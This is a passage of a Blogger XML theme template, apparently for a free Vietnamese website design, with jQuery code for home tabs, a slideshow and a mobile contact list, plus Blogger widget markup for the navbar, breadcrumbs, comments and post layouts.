c+=new item(entries[i]).Jset({index:1,div:'div',class:'col-sm-6 col-xs-12 homeTab-'+i}).homeTab();}else{
c+=new item(entries[i]).Jset({index:0,div:'div',class:'col-sm-6 col-xs-12 homeTab-first homeTab-'+i}).homeTab();
}
}
c=$.div('<h3 class="hometab-title">'+$.JtitleWidget+'</h3>'+c,{div:$.Jdiv,class:$.JidDiv+' col-12'});
return c}
jQuery.JhomeSlide=function(root){
var c='';var entries = root.feed.entry || [];
for(i in entries){
var e=new item(entries[i]);
c+='<div class="item ';
c+=i!=0?'':'active';
c+='"><a href="'+e.url+'"><img class="slide-img col-12" src="'+e.src+'"></a></div>';
}
return '<div class="carousel slide col-md-12 col-xs-12" data-ride="carousel" id="slide" ><div class="carousel-inner xs-hide" role="listbox">'+c+'</div></div>'+$.Jslide.set}
jQuery.Jrelater=function(){
var c='';var entries = root.feed.entry || [];
return c}
jQuery.fn.JactiveHomeTab=function(e){
if(e!=undefined && e!=''){
var e1=e.split(',');
for(i in e1){
var e2=e1[i].split(':');var label=e2[0].trim();if(e2[1]!=undefined){var title=e2[1].trim()}else{var title=e2[0].trim();} $(this).Json({JtypeJson:'true',Jend:5,JtypeHtml:'append',Jlabel:label,JtypeWidget:'JhomeTab',JtitleWidget:title});
}
}
return jQuery}
jQuery.fn.JactiveSlide=function(e){
if($.Jslide.content!=''){$(this).html($.Jslide.content);}else{
$(this).Json({JtypeJson:'true',Jend:5,JtypeHtml:'html',Jlabel:'Slide',JtypeWidget:'JhomeSlide'});
}
return jQuery}
jQuery.fn.Jmobile=function(){
var e=new $(this).find(' .LinkList:first-child').JlinkList();
if(e.title=='mobile'){
var c='<ul class="col-md-12 col-xs-12" style="list-style:none;">';
for(i in e.arr){
c+='<li class="col-md-12 col-xs-12" style="list-style: none; font-size: 16px; padding: 10px; border-bottom: 1px inset rgb(77, 144, 254);"><span class="col-md-12 col-xs-12" style="color:#337ab7;"><i class="fa fa-map-marker" style="font-size:30px;color: #357cc5;margin-right: 15px;"></i>'+e.arr[i].a+'</span><span class="col-md-12 col-xs-12" style="color:red;font-size: 18px;"> <span></span><i class="fa fa-mobile" style="font-size:30px;margin-right: 15px;"></i><loc class="hungyen">'+e.arr[i].b+'</loc></span></li>';
}
c+=e.set+'</ul>';
$(this).find(' .LinkList:first-child').Jchoice(c,'html')(this).css('padding-top', '0px');
}
return jQuery}
!function(e){
e.e('eyldgaoeorg.j)Qtuneermyu(cdo')(function(){
$('#Navbar').find('.LinkList').JinfoNavbar().Jchoice()('#Navbar').Jchoice($.Jnavbar.Default())('#headLogo').find('.Image').JinfoLogo().Jchoice()('#headSlogan').find('.Image').JinfoSlogan().Jchoice()('#Navbar').Jchoice($.Jhead.Default(),'before')('#foot .LinkList:first-child').JinfoMenuFoot().Jchoice('','remove')('#foot').JinfoLinkListFoot().Jchoice("",'remove')('#all-body').Jchoice($.div($.Jfoot.menu()+$.Jfoot.content,{div:'div',id:'foot',class:'col-12'}),'append')('#right').Jmobile().JsetIcon()('#main').JactiveHomeTab($.JhomeTabLabel);
})
return e}(this)
!function(e,a){e(a).ready(function(){var a=e(".section");a.each(function(a,b){var c="";c+="<div class=\"widget-item-control section-widget-item-control\" style=\"z-index:9999999999; margin-left: 25px; width: 20px; overflow: hidden;\"><div class=\"set item-control blog-admin\" style=\" z-index: 9999999999;\"><div class=\"\">",c+="<a data-toggle=\"tooltip\" title=\"section "+e(b).attr("id")+"\" style=\"color: red;\" href=\"https://www.blogger.com/choose-gadget?blogID=",e.JblogId&&(c+=e.JblogId),c+="&action=chooseWidget§ionId="+e(b).attr("id")+"&widgetType=nullid\" target=\"_blank\"><i class=\"fa fa-plus\"></i></a>",c+="</div></div></div>",e(b).prepend(c)})})}(jQuery,document);var Jrun=function(){$('#slide').JinfoSlide().JactiveSlide();}
//]]>
</script>
<b:skin><![CDATA[
]]></b:skin>
</head>
<body>
<b:section class='item-control blog-admin' id='system'>
<b:widget id='HTML2' locked='true' title='blue' type='HTML' version='1'>
<b:widget-settings>
<b:widget-setting name='content'><![CDATA[{blue:{colorAll:'#c8135c;:#1e63a3;',colorHead:'#337ab7;',headTitle:'#c8135c;',navbarLiHover:'#ab0d4d;:#337ab7;',breadcumb:'#4d90fe;',page:'#eee;',pageHover:'#359BED;',foot:'#e7f7fa;',postMulti:'0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);',postTitle:'#f1f1f159;',menuRight:'#d4f1f6;',homeTabXs:' #4d90fe45;'}}]]></b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<!-- only display title if it's non-empty -->
<b:if cond='data:title != ""'>
<h2 class='title' style='position: fixed; top: 0px; left: 0px;'><data:title/></h2>
</b:if>
<div class='widget-content'>
<script>
jQuery.setCss=function(e,v){
var c=$('#style').html();var reg;
if(v){
for(j in e){
if(j==v){var o=e[j]
for(i in o){
var arr=o[i].split(':');
if(arr[1]){var b=arr[1]}else{var b='';}
if(b!=''){
reg=new RegExp(arr[0],'g');c=c.replace(reg,b);
}
}
break;}
}
$('#style').html(c);
}
}
$.setCss(<data:content/>,'<data:title/>');
</script>
</div>
<b:include name='quickedit'/>
</b:includable>
</b:widget>
</b:section>
<div id='all'>
<div class='container-fluid'>
<div class='row' id='all-body'>
<b:section class='hide' id='headLogo'>
<b:widget id='Image1' locked='true' title='0961224956' type='Image'>
<b:widget-settings>
<b:widget-setting name='displayUrl'>https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrHpmJPjZo8mH-Jr9IUKT12eR9x_WhRbqX0kTHs_Zx1WOrgY3DnqTSrqmUAA03VKdyih-BgNzw69mrSK82_ZxDeU1AwDLKdFqz8W3-ybt8mRM_DaoBZ9qZmeJXTMT2FiWJS46SfredL9I/s1600/LOGO+FREE.png</b:widget-setting>
<b:widget-setting name='displayHeight'>114</b:widget-setting>
<b:widget-setting name='sectionWidth'>150</b:widget-setting>
<b:widget-setting name='shrinkToFit'>false</b:widget-setting>
<b:widget-setting name='displayWidth'>190</b:widget-setting>
<b:widget-setting name='link'>Liên Hệ hỗ trợ</b:widget-setting>
<b:widget-setting name='caption'>Giao diện web miễn phí</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<b:tag cond='data:link' expr:href='data:link' name='a'>
<img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + "_img"' expr:src='data:sourceUrl' expr:width='data:width'/>
</b:tag>
<br/>
<b:if cond='data:caption'>
<span class='caption'><data:caption/></span>
</b:if>
</div>
<b:include name='quickedit'/>
</b:includable>
</b:widget>
</b:section>
<b:section class='hide' id='headSlogan'>
<b:widget id='Image11' locked='true' title='Tất cả là miễn phí' type='Image'>
<b:widget-settings>
<b:widget-setting name='displayUrl'>https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia3pdeCLetWx9JLmWCGIju0phL21EJDNqkaBDT98Ve0TXvoAypn7ci92ePaK64DdsEAXm3jNtYVw0e0vB9-KXzfXmY1yak5DHg4Ndqy1vxqtK2nskYYBIRhjfDwgNqNMU4eS734wYj4dY/s1600/lg_logo_PNG15.png</b:widget-setting>
<b:widget-setting name='displayHeight'>812</b:widget-setting>
<b:widget-setting name='sectionWidth'>150</b:widget-setting>
<b:widget-setting name='shrinkToFit'>false</b:widget-setting>
<b:widget-setting name='displayWidth'>1343</b:widget-setting>
<b:widget-setting name='link'/>
<b:widget-setting name='caption'>Dễ dàng quản trị</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<b:tag cond='data:link' expr:href='data:link' name='a'>
<img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + "_img"' expr:src='data:sourceUrl' expr:width='data:width'/>
</b:tag>
<br/>
<b:if cond='data:caption'>
<span class='caption'><data:caption/></span>
</b:if>
</div>
<b:include name='quickedit'/>
</b:includable>
</b:widget>
</b:section>
<b:section class='col-12' id='Navbar'>
<b:widget id='LinkList2' locked='true' title='navbar' type='LinkList' version='2' visible='true'>
<b:widget-settings>
<b:widget-setting name='link-3'>http://</b:widget-setting>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='link-4'>/</b:widget-setting>
<b:widget-setting name='text-1'>Giao diện web công ty</b:widget-setting>
<b:widget-setting name='link-1'>/</b:widget-setting>
<b:widget-setting name='text-0'>Trang chủ</b:widget-setting>
<b:widget-setting name='link-2'>/</b:widget-setting>
<b:widget-setting name='text-3'>Giao diện web cá nhân</b:widget-setting>
<b:widget-setting name='link-0'>/</b:widget-setting>
<b:widget-setting name='text-2'>Giao diện web trường học</b:widget-setting>
<b:widget-setting name='text-4'>Liên Hệ</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:include name='content'/>
<b:include name='quickedit'/>
</b:includable>
<b:includable id='content'>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
</div>
</b:includable>
</b:widget>
</b:section>
<div class='col-sm-8 col-xs-12' id='left'>
<b:section class='col-12' id='slide'/><b:section class='' id='main' showaddelement='no'>
<b:widget cond='data:view.isHomepage ' id='HTML1' locked='true' title='activeHomeTab' type='HTML' version='1'>
<b:widget-settings>
<b:widget-setting name='content'>:Bài viết mới,Sản phẩm mới , thi công xây dựng</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:include name='quickedit'/>
<b:switch var='data:title'>
<b:case value='activeHomeTab'/>
<script>$.Jset({JhomeTabLabel:'<data:content/>'})</script>
<style>#Blog1{display:none}</style>
<b:case value='activeHome'/>
<data:content/>
<style>#Blog1{display:none}</style>
<b:default/>
</b:switch>
</b:includable>
</b:widget>
<b:widget id='Blog1' locked='true' title='Bài đăng trên Blog' type='Blog' version='1'>
<b:widget-settings>
<b:widget-setting name='showDateHeader'>false</b:widget-setting>
<b:widget-setting name='style.textcolor'>#000000</b:widget-setting>
<b:widget-setting name='showShareButtons'>false</b:widget-setting>
<b:widget-setting name='authorLabel'>By</b:widget-setting>
<b:widget-setting name='showCommentLink'>false</b:widget-setting>
<b:widget-setting name='style.urlcolor'>#008000</b:widget-setting>
<b:widget-setting name='showAuthor'>false</b:widget-setting>
<b:widget-setting name='disableGooglePlusShare'>true</b:widget-setting>
<b:widget-setting name='style.linkcolor'>#0000ff</b:widget-setting>
<b:widget-setting name='style.unittype'>TextAndImage</b:widget-setting>
<b:widget-setting name='style.bgcolor'>#ffffff</b:widget-setting>
<b:widget-setting name='showAuthorProfile'>false</b:widget-setting>
<b:widget-setting name='style.layout'>1x1</b:widget-setting>
<b:widget-setting name='showLabels'>false</b:widget-setting>
<b:widget-setting name='showLocation'>false</b:widget-setting>
<b:widget-setting name='showTimestamp'>false</b:widget-setting>
<b:widget-setting name='postsPerAd'>1</b:widget-setting>
<b:widget-setting name='showBacklinks'>false</b:widget-setting>
<b:widget-setting name='style.bordercolor'>#ffffff</b:widget-setting>
<b:widget-setting name='showInlineAds'>false</b:widget-setting>
<b:widget-setting name='showReactions'>false</b:widget-setting>
</b:widget-settings>
<b:includable id='main' var='post'>
<b:include cond='not data:view.isHomepage' data='posts' name='breadcrumb'/>
<b:loop index='i' values='data:posts' var='post'>
<b:include cond='data:view.isSingleItem' data='post' name='singleItem'/>
<b:include cond='not data:view.isSingleItem' data='post' name='multiItem'/>
</b:loop>
<b:include cond='not data:view.isSingleItem ' data='posts' name='pager'/>
<b:include name='quickedit'/>
</b:includable>
<b:includable id='aboutPostAuthor'>
<div class='author-name'>
<a class='g-profile' expr:href='data:post.author.profileUrl' rel='author' title='author profile'>
<span>
<data:post.author.name/>
</span>
</a>
</div>
<div>
<span class='author-desc'>
<data:post.author.aboutMe/>
</span>
</div>
</b:includable>
<b:includable id='addComments'>
<a expr:href='data:post.commentsUrl' expr:onclick='data:post.commentsUrlOnclick'>
<b:message name='messages.postAComment'/>
</a>
</b:includable>
<b:includable id='backlinkDeleteIcon' var='backlink'>
<span expr:class='"item-control " + data:backlink.adminClass'>
<a expr:href='data:backlink.deleteUrl' expr:title='data:top.deleteBacklinkMsg'>
<img src='https://resources.blogblog.com/img/icon_delete13.gif'/>
</a>
</span>
</b:includable>
<b:includable id='backlinks' var='post'>
<a name='links'/><h4><data:post.backlinksLabel/></h4>
<b:if cond='data:post.numBacklinks != 0'>
<dl class='comments-block' id='comments-block'>
<b:loop values='data:post.backlinks' var='backlink'>
<div class='collapsed-backlink backlink-control'>
<dt class='comment-title'>
<span class='backlink-toggle-zippy'> </span>
<a expr:href='data:backlink.url' rel='nofollow'><data:backlink.title/></a>
<b:include data='backlink' name='backlinkDeleteIcon'/>
</dt>
<dd class='comment-body collapseable'>
<data:backlink.snippet/>
</dd>
<dd class='comment-footer collapseable'>
<span class='comment-author'><data:post.authorLabel/> <data:backlink.author/></span>
<span class='comment-timestamp'><data:post.timestampLabel/> <data:backlink.timestamp/></span>
</dd>
</div>
</b:loop>
</dl>
</b:if>
<p class='comment-footer'>
<a class='comment-link' expr:href='data:post.createLinkUrl' expr:id='data:widget.instanceId + "_backlinks-create-link"' target='_blank'><data:post.createLinkLabel/></a>
</p>
</b:includable>
<b:includable id='breadcrumb' var='posts'>
<b:if cond='data:blog.homepageUrl == data:blog.url'>
<!-- No breadcrumb on home page -->
<b:else/>
<b:if cond='data:blog.pageType == "item"'>
<!-- breadcrumb for the post page -->
<p class='breadcrumbs'>
<span class='post-labels'>
<a expr:href='data:blog.homepageUrl' rel='tag'>Trang chủ</a>
<b:loop values='data:posts' var='post'>
<b:if cond='data:post.labels'>
<b:loop values='data:post.labels' var='label'>
<b:if cond='data:label.name not in["Slide","Thumb-right"]'>
<b:if cond='data:label.isLast == "false"'> »
»<a expr:href='data:label.url + "?&max-results=10"' rel='tag'><data:label.name/></a>
</b:if>
<b:if cond='data:label.isLast == "true"'> »
<a expr:href='data:label.url + "?&max-results=10"' rel='tag'><data:label.name/></a>
</b:if>
</b:if>
</b:loop>
<script>
labelArray=[<b:loop index='i' values='data:post.labels' var='label'><b:if cond='data:label.isLast == "true"'><b:if cond='data:label.name not in["Slide","Thumb-right"]'>'<data:label.name/>'</b:if><b:else/><b:if cond='data:label.name not in["Slide","Thumb-right"]'>'<data:label.name/>',</b:if></b:if></b:loop> ];jQuery.JlabelRelater=labelArray[labelArray.length-1];
if($.JlabelRelater)$('#main').Json({JtypeJson:'true',JtypeWidget:'Jdefault',Jend:4,JtypeHtml:'append',Jlabel:$.JlabelRelater,JtitleWidget:'Bài viết liên quan'});
</script>
<b:else/>
</b:if>
» <span><data:post.title/></span>
</b:loop>
</span>
</p>
<b:else/>
<b:if cond='data:blog.pageType == "archive"'>
<!-- breadcrumb for the label archive page and search pages.. -->
<p class='breadcrumbs'>
<span class='post-labels'>
<a expr:href='data:blog.homepageUrl'>Trang chủ</a>
</span>
</p>
<b:else/>
<b:if cond='data:blog.pageType == "index"'>
<p class='breadcrumbs'>
<span class='post-labels'>
<b:if cond='data:blog.pageName == ""'>
<a expr:href='data:blog.homepageUrl'>Trang chủ</a> »
<b:else/>
<a expr:href='data:blog.homepageUrl'>Trang chủ</a> »
</b:if>
</span>
</p>
</b:if>
</b:if>
</b:if>
</b:if>
</b:includable>
<b:includable id='comment-form' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<b:if cond='data:mobile'>
<h4 id='comment-post-message'>
<a expr:id='data:widget.instanceId + "_comment-editor-toggle-link"' href='javascript:void(0)'><data:postCommentMsg/></a></h4>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
<b:else/>
<h4 id='comment-post-message'><data:postCommentMsg/></h4>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
</b:if>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='commentAuthorAvatar'>
<div class='avatar-image-container'>
<img class='author-avatar' expr:src='data:comment.authorAvatarSrc' height='35' width='35'/>
</div>
</b:includable>
<b:includable id='commentDeleteIcon' var='comment'>
<span expr:class='"item-control " + data:comment.adminClass'>
<b:if cond='data:showCmtPopup'>
<div class='goog-toggle-button'>
<div class='goog-inline-block comment-action-icon'/>
</div>
<b:else/>
<a class='comment-delete' expr:href='data:comment.deleteUrl' expr:title='data:messages.deleteComment'>
<img src='https://resources.blogblog.com/img/icon_delete13.gif'/>
</a>
</b:if>
</span>
</b:includable>
<b:includable id='commentForm' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<h4 id='comment-post-message'><data:messages.postAComment/></h4>
<b:if cond='data:this.messages.blogComment != ""'>
<p><data:this.messages.blogComment/></p>
</b:if>
<b:include data='post' name='commentFormIframeSrc'/>
<iframe allowtransparency='allowtransparency' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight ?: "90px"' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='commentFormIframeSrc' var='post'>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
</b:includable>
<b:includable id='commentItem' var='comment'>
<div class='comment' expr:id='"c" + data:comment.id'>
<b:include cond='data:blog.enabledCommentProfileImages' name='commentAuthorAvatar'/>
<div class='comment-block'>
<div class='comment-author'>
<b:if cond='data:comment.authorUrl'>
<b:message name='messages.authorSaidWithLink'>
<b:param expr:value='data:comment.author' name='authorName'/>
<b:param expr:value='data:comment.authorUrl' name='authorUrl'/>
</b:message>
<b:else/>
<b:message name='messages.authorSaid'>
<b:param expr:value='data:comment.author' name='authorName'/>
</b:message>
</b:if>
</div>
<div expr:class='"comment-body" + (data:comment.isDeleted ? " deleted" : "")'>
<data:comment.body/>
</div>
<div class='comment-footer'>
<span class='comment-timestamp'>
<a expr:href='data:comment.url' title='comment permalink'>
<data:comment.timestamp/>
</a>
<b:include data='comment' name='commentDeleteIcon'/>
</span>
</div>
</div>
</div>
</b:includable>
<b:includable id='commentList' var='comments'>
<div id='comments-block'>
<b:loop values='data:comments' var='comment'>
<b:include data='comment' name='commentItem'/>
</b:loop>
</div>
</b:includable>
<b:includable id='commentPicker' var='post'>
<b:if cond='data:post.commentSource == 1'>
<b:include data='post' name='iframeComments'/>
<b:elseif cond='data:post.showThreadedComments'/>
<b:include data='post' name='threadedComments'/>
<b:else/>
<b:include data='post' name='comments'/>
</b:if>
</b:includable>
<b:includable id='comment_count_picker' var='post'>
<b:if cond='data:post.commentSource == 1'>
<span class='cmt_count_iframe_holder' expr:data-count='data:post.numComments' expr:data-onclick='data:post.addCommentOnclick' expr:data-post-url='data:post.url' expr:data-url='data:post.url.canonical.http'>
</span>
<b:else/>
<a class='comment-link' expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
<data:post.commentLabelFull/>:
</a>
</b:if>
</b:includable>
<b:includable id='comment_picker' var='post'>
<b:if cond='data:post.commentSource == 1'>
<b:include data='post' name='iframe_comments'/>
<b:elseif cond='data:post.showThreadedComments'/>
<b:include data='post' name='threaded_comments'/>
<b:else/>
<b:include data='post' name='comments'/>
</b:if>
</b:includable>
<b:includable id='comments' var='post'>
<section expr:class='"comments" + (data:post.embedCommentForm ? " embed" : "")' expr:data-num-comments='data:post.numberOfComments' id='comments'>
<a name='comments'/>
<b:if cond='data:post.allowComments'>
<b:include name='commentsTitle'/>
<div expr:id='data:widget.instanceId + "_comments-block-wrapper"'>
<b:include cond='data:post.comments' data='post.comments' name='commentList'/>
</div>
<b:if cond='data:post.commentPagingRequired'>
<div class='paging-control-container'>
<b:if cond='data:post.hasOlderLinks'>
<a expr:class='data:post.oldLinkClass' expr:href='data:post.oldestLinkUrl'>
<data:messages.oldest/>
</a>
<a expr:class='data:post.oldLinkClass' expr:href='data:post.olderLinkUrl'>
<data:messages.older/>
</a>
</b:if>
<span class='comment-range-text'>
<data:post.commentRangeText/>
</span>
<b:if cond='data:post.hasNewerLinks'>
<a expr:class='data:post.newLinkClass' expr:href='data:post.newerLinkUrl'>
<data:messages.newer/>
</a>
<a expr:class='data:post.newLinkClass' expr:href='data:post.newestLinkUrl'>
<data:messages.newest/>
</a>
</b:if>
</div>
</b:if>
<div class='footer'>
<b:if cond='data:post.embedCommentForm'>
<b:if cond='data:post.allowNewComments'>
<b:include data='post' name='commentForm'/>
<b:else/>
<data:post.noNewCommentsText/>
</b:if>
<b:else/>
<b:if cond='data:post.allowComments'>
<b:include data='post' name='addComments'/>
</b:if>
</b:if>
</div>
</b:if>
<b:if cond='data:showCmtPopup'>
<div id='comment-popup'>
<iframe allowtransparency='allowtransparency' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
</iframe>
</div>
</b:if>
</section>
</b:includable>
<b:includable id='commentsTitle'>
<h3 class='title'><data:messages.comments/></h3>
</b:includable>
<b:includable id='feedLinks'>
<b:if cond='!data:view.isPost'> <!-- Blog feed links -->
<b:if cond='data:feedLinks'>
<div class='blog-feeds'>
<b:include data='feedLinks' name='feedLinksBody'/>
</div>
</b:if>
<b:else/> <!--Post feed links -->
<div class='post-feeds'>
<b:loop values='data:posts' var='post'>
<b:if cond='data:post.allowComments and data:post.feedLinks'>
<b:include data='post.feedLinks' name='feedLinksBody'/>
</b:if>
</b:loop>
</div>
</b:if>
</b:includable>
<b:includable id='feedLinksBody' var='links'>
<div class='feed-links'>
<data:messages.subscribeTo/>
<b:loop values='data:links' var='f'>
<a class='feed-link' expr:href='data:f.url' expr:type='data:f.mimeType' target='_blank'><data:f.name/> (<data:f.feedType/>)</a>
</b:loop>
</div>
</b:includable>
<b:includable id='homePageLink'>
<a class='home-link' expr:href='data:blog.homepageUrl'>
<data:messages.home/>
</a>
</b:includable>
<b:includable id='iframeComments' var='post'>
<b:if cond='data:post.allowIframeComments'>
<script expr:src='data:post.iframeCommentSrc' type='text/javascript'/>
<div class='cmt_iframe_holder' expr:data-href='data:post.url.canonical' expr:data-viewtype='data:post.viewType'/>
<b:if cond='!data:post.embedCommentForm'>
<b:include data='post' name='commentsLink'/>
</b:if>
</b:if>
</b:includable>
<b:includable id='iframe_comments' var='post'>
<b:if cond='data:post.allowIframeComments'>
<script expr:src='data:post.iframeCommentSrc' type='text/javascript'/>
<div class='cmt_iframe_holder' expr:data-href='data:post.url.canonical' expr:data-viewtype='data:post.viewType'/>
<b:if cond='data:post.embedCommentForm == "false"'>
<a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'><data:postCommentMsg/></a>
</b:if>
</b:if>
</b:includable>
<b:includable id='inlineAd' var='post'>
<b:if cond='!data:view.isPreview'>
<b:if cond='data:this.adCode or data:this.adClientId or data:blog.adsenseClientId'>
<!-- Ad -->
<div class='inline-ad'>
<b:if cond='data:this.adCode != ""'>
<data:this.adCode/>
<b:else/>
<b:include cond='data:this.adClientId or data:blog.adsenseClientId' name='defaultAdUnit'/>
</b:if>
</div>
</b:if>
<b:else/>
<div class='inline-ad'>
<div class='inline-ad-placeholder'>
<span><b:message name='messages.adsGoHere'/></span>
</div>
</div>
</b:if>
</b:includable>
<b:includable id='mobile-index-post' var='post'>
<div class='mobile-date-outer date-outer'>
<b:if cond='data:post.dateHeader'>
<div class='date-header'>
<span><data:post.dateHeader/></span>
</div>
</b:if>
<div class='mobile-post-outer'>
<a expr:href='data:post.url'>
<h3 class='mobile-index-title entry-title' itemprop='name'>
<data:post.title/>
</h3>
<div class='mobile-index-arrow'>&rsaquo;</div>
<div class='mobile-index-contents'>
<b:if cond='data:post.thumbnailUrl'>
<div class='mobile-index-thumbnail'>
<div class='Image'>
<img expr:src='data:post.thumbnailUrl'/>
</div>
</div>
</b:if>
<div class='post-body'>
<b:if cond='data:post.snippet'><data:post.snippet/></b:if>
</div>
</div>
<div style='clear: both;'/>
</a>
<div class='mobile-index-comment'>
<b:include cond='data:blog.pageType != "static_page" and data:post.allowComments and data:post.numComments != 0' data='post' name='comment_count_picker'/>
</div>
</div>
</div>
</b:includable>
<b:includable id='mobile-main' var='top'>
<!-- posts -->
<div class='blog-posts hfeed'>
<b:include data='top' name='status-message'/>
<b:if cond='data:blog.pageType == "index"'>
<b:loop values='data:posts' var='post'>
<b:include data='post' name='mobile-index-post'/>
</b:loop>
<b:else/>
<b:loop values='data:posts' var='post'>
<b:include data='post' name='mobile-post'/>
</b:loop>
</b:if>
</div>
<b:include name='mobile-nextprev'/>
</b:includable>
<b:includable id='mobile-nextprev'>
<div class='blog-pager' id='blog-pager'>
<b:if cond='data:newerPageUrl'>
<div class='mobile-link-button' id='blog-pager-newer-link'>
<a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:newerPageTitle'>&lsaquo;</a>
</div>
</b:if>
<b:if cond='data:olderPageUrl'>
<div class='mobile-link-button' id='blog-pager-older-link'>
<a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:olderPageTitle'>&rsaquo;</a>
</div>
</b:if>
<div class='mobile-link-button' id='blog-pager-home-link'>
<a class='home-link' expr:href='data:blog.homepageUrl'><data:homeMsg/></a>
</div>
<div class='mobile-desktop-link'>
<a class='home-link' expr:href='data:desktopLinkUrl'><data:desktopLinkMsg/></a>
</div>
</div>
<div class='clear'/>
</b:includable>
<b:includable id='mobile-post' var='post'>
<div class='date-outer'>
<b:if cond='data:post.dateHeader'>
<h2 class='date-header'><span><data:post.dateHeader/></span></h2>
</b:if>
<div class='date-posts'>
<div class='post-outer'>
<div class='post hentry uncustomized-post-template' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
<b:if cond='data:post.thumbnailUrl'>
<meta expr:content='data:post.thumbnailUrl' itemprop='image_url'/>
</b:if>
<meta expr:content='data:blog.blogId' itemprop='blogId'/>
<meta expr:content='data:post.id' itemprop='postId'/>
<a expr:name='data:post.id'/>
<b:if cond='data:post.title'>
<h3 class='post-title entry-title' itemprop='name'>
<b:if cond='data:post.link'>
<a expr:href='data:post.link'><data:post.title/></a>
<b:elseif cond='data:post.url and data:blog.url != data:post.url'/>
<a expr:href='data:post.url'><data:post.title/></a>
<b:else/>
<data:post.title/>
</b:if>
</h3>
</b:if>
<div class='post-header'>
<div class='post-header-line-1'/>
</div>
<div class='post-body entry-content' expr:id='"post-body-" + data:post.id' itemprop='articleBody'>
<data:post.body/>
<div style='clear: both;'/> <!-- clear for photos floats -->
</div>
<div class='post-footer'>
<div class='post-footer-line post-footer-line-1'>
<span class='post-author vcard'>
<b:if cond='data:top.showAuthor'>
<b:if cond='data:post.authorProfileUrl'>
<span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
<meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
<a expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
<span itemprop='name'><data:post.author/></span>
</a>
</span>
<b:else/>
<span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
<span itemprop='name'><data:post.author/></span>
</span>
</b:if>
</b:if>
</span>
<span class='post-timestamp'>
<b:if cond='data:top.showTimestamp'>
<data:top.timestampLabel/>
<b:if cond='data:post.url'>
<meta expr:content='data:post.url.canonical' itemprop='url'/>
<a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published' expr:title='data:post.timestampISO8601' itemprop='datePublished'><data:post.timestamp/></abbr></a>
</b:if>
</b:if>
</span>
<span class='post-comment-link'>
<b:include cond='data:blog.pageType not in {"item","static_page"} and data:post.allowComments' data='post' name='comment_count_picker'/>
</span>
</div>
<div class='post-footer-line post-footer-line-2'>
<b:if cond='data:top.showMobileShare'>
<div class='mobile-link-button goog-inline-block' id='mobile-share-button'>
<a href='javascript:void(0);'><data:shareMsg/></a>
</div>
</b:if>
<b:if cond='data:top.showDummy'>
<div class='goog-inline-block dummy-container'><data:post.dummyTag/></div>
</b:if>
</div>
</div>
</div>
<b:include cond='data:blog.pageType in {"static_page","item"}' data='post' name='comment_picker'/>
</div>
</div>
</div>
</b:includable>
<b:includable id='multiItem' var='post'>
<div class='col-lg-12 col-md-12 col-xs-12 col-sm-12 postmulti' expr:id='"post-"+data:post.id'>
<h3 class='col-lg-12 col-md-12 col-xs-12 col-sm-12 post-title' style='padding: 0px; margin: 0px;'>
<a class='col-lg-12 col-md-12 col-xs-12 col-sm-12' expr:href='data:post.url'><data:post.title/></a>
<b:include data='post' name='postQuickEdit'/>
</h3>
<div class='col-lg-4 col-md-4 col-xs-4 col-sm-4 post-div-thumb'>
<img class='post-thumb' expr:src='data:post.thumbnailUrl'/>
</div>
<div class='col-lg-8 col-md-8 col-xs-8 col-sm-8'>
<div class='visible-lg visible-md visible-sm'><b:eval expr='data:post.body snippet {length: 450, links: true, linebreaks: false}'/></div>
<div class='visible-xs '><b:eval expr='data:post.body snippet {length: 300, links: true, linebreaks: false}'/></div>
</div>
</div>
</b:includable>
